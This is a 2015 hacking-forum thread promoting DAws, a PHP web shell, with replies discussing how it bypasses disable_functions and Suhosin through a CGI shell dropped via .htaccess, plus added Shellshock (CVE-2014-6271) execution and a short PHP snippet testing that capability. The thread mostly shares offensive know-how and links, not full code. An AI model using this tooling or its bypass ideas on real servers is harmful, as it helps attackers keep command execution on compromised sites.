![]() |
|
DAws - Advanced Web Shell - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Hacking (https://sinister.ly/Forum-Hacking) +--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking) +--- Thread: DAws - Advanced Web Shell (/Thread-DAws-Advanced-Web-Shell) |
DAws - Advanced Web Shell - dotcppfile - 02-09-2015 Hello everyone, ![]() About: There's multiple things that makes DAws better than every Web Shell out there:
Extra Info:
Updates: DAws and its tools are always being Updated, you can check it all on Github. Credits: RE: DAws - Advanced Web Shell - Dyme - 02-09-2015 (02-09-2015, 03:37 PM)dotcppfile Wrote: A pretty bold claim, but it's very circumstantial... While yes, this tool is able to drop and utilize a cgi shell, it is still dependent on the use of a .htaccess file. This matters because the default configuration for apache does not allow the use of .htaccess. In order for this to work, AllowOverride has to be explicitly set by the administrator for a directory you have write access to. This is rare to begin with, and as you can assume, it's even more rare on systems utilizing disable_functions or Suhosin. Therefore, this particular "feature" isn't really anything new or innovative, as it's been seen in 2 year old fuhosin and even older shells. Don't take this as a criticism, I just thought I would explain to others why this probably won't bypass a lot of servers using disable_functions or Suhosin. Nevertheless, I'm glad you're working on something that could be productive. If you're looking for another way to get sh/bash execution, I would suggest adding CVE-2014-6271 support. Let me know if you need help with anything. RE: DAws - Advanced Web Shell - TheGodM9 - 02-10-2015 This actually looks pretty dope, shit. All the fail options are great to make sure the most can be done with the shell. RE: DAws - Advanced Web Shell - dotcppfile - 02-10-2015 Yes Dyme, you're completely right and I tried to mention that this requires .htaccess to be enabled in the first place: https://github.com/dotcppfile/DAws/releases/tag/3%2F2%2F2015 now I do believe that when it comes to it, the .htaccess file has to be enabled in most public sources out there such as wordpress. About the feature itself, you're right, it's not something new but I think the way it's implemented in DAws makes it kinda better since the cgi shell gets dropped in a proper place where it communicates completely with DAws, every feature in the shell would work even if every system command was disabled; the cgi shell is never independent. Thanks for replying, I do appreciate a good reply after all the gay ass shit I've seen on HF. We're ready to fix, update or add anything needed. RE: DAws - Advanced Web Shell - Dyme - 02-11-2015 (02-10-2015, 05:58 AM)dotcppfile Wrote: Yes Dyme, you're completely right and I tried to mention that this requires .htaccess to be enabled in the first place: https://github.com/dotcppfile/DAws/releases/tag/3%2F2%2F2015 now I do believe that when it comes to it, the .htaccess file has to be enabled in most public sources out there such as wordpress. I've submitted a pull request that will add support for getting bash execution via Shellshock. It works well, but may need some cleaning up; I did it relatively quickly. Review the changes and decide what you want to do with it. https://github.com/dotcppfile/DAws/pull/2 Also, any recent version of wordpress doesn't need .htaccess. I have had both 3.9.1 and 4.1 installed on my box for some time now, and they work perfectly fine with AllowOverride set to none for all dirs. Maybe this was the case with older versions? RE: DAws - Advanced Web Shell - Reiko - 02-12-2015 (02-11-2015, 01:50 AM)Dyme Wrote: https://github.com/dotcppfile/DAws/pull/2 Glad to see my work being put to use.. I'm too lazy to do it myself anymore. I've got a small fix to contribute but I hate public git repos. You call shellshock() twice even if it failed once already when you test if it works. Change your check to something like this: PHP Code: is_callable("mail")? $sstest = @shellshock("pwd") : $sstest = "Er 1";
$shellshock = ($sstest != "Er 1" && $sstest != "Er 2");
edit2: this is just a POC. Make sure you do better checking if mail is dis/blacklisted RE: DAws - Advanced Web Shell - Yani - 02-12-2015 CVE-2014-6271 would be a good addition as the others said. Besides that it looks pretty good. RE: DAws - Advanced Web Shell - dotcppfile - 02-12-2015 (02-11-2015, 01:50 AM)Dyme Wrote: I've submitted a pull request that will add support for getting bash execution via Shellshock. It works well, but may need some cleaning up; I did it relatively quickly. Review the changes and decide what you want to do with it. Thank for the Pull Request mate, appreciated, also, am not sure about it but I think I've seen .htaccess files related to Wordpress dropped on multiple servers. (02-12-2015, 01:22 AM)Reiko Wrote: Glad to see my work being put to use.. I'm too lazy to do it myself anymore. I think that it was all dealt with properly in the release, thanks for sharing your work in the first place. (02-12-2015, 04:15 AM)Yani Wrote: CVE-2014-6271 would be a good addition as the others said. Great you liked it and thanks for supporting the project. New Release: https://github.com/dotcppfile/DAws/releases/tag/13%2F2%2F2015 RE: DAws - Advanced Web Shell - blackhatcat - 02-14-2015 Not too shabby, but nothing special, how about open_basedir? And "bypasses suhosin" sure..maybe a poorly configured suhosin, lol. Suppose it has potential if you put in actual effort and be more innovative. RE: DAws - Advanced Web Shell - dotcppfile - 02-14-2015 (02-14-2015, 10:32 AM)blackhatcat Wrote: Not too shabby, but nothing special, how about open_basedir? And "bypasses suhosin" sure..maybe a poorly configured suhosin, lol. Suppose it has potential if you put in actual effort and be more innovative. Elaborate mate, I do take criticism in a good way but your reply is just one of these lame ones Lol. |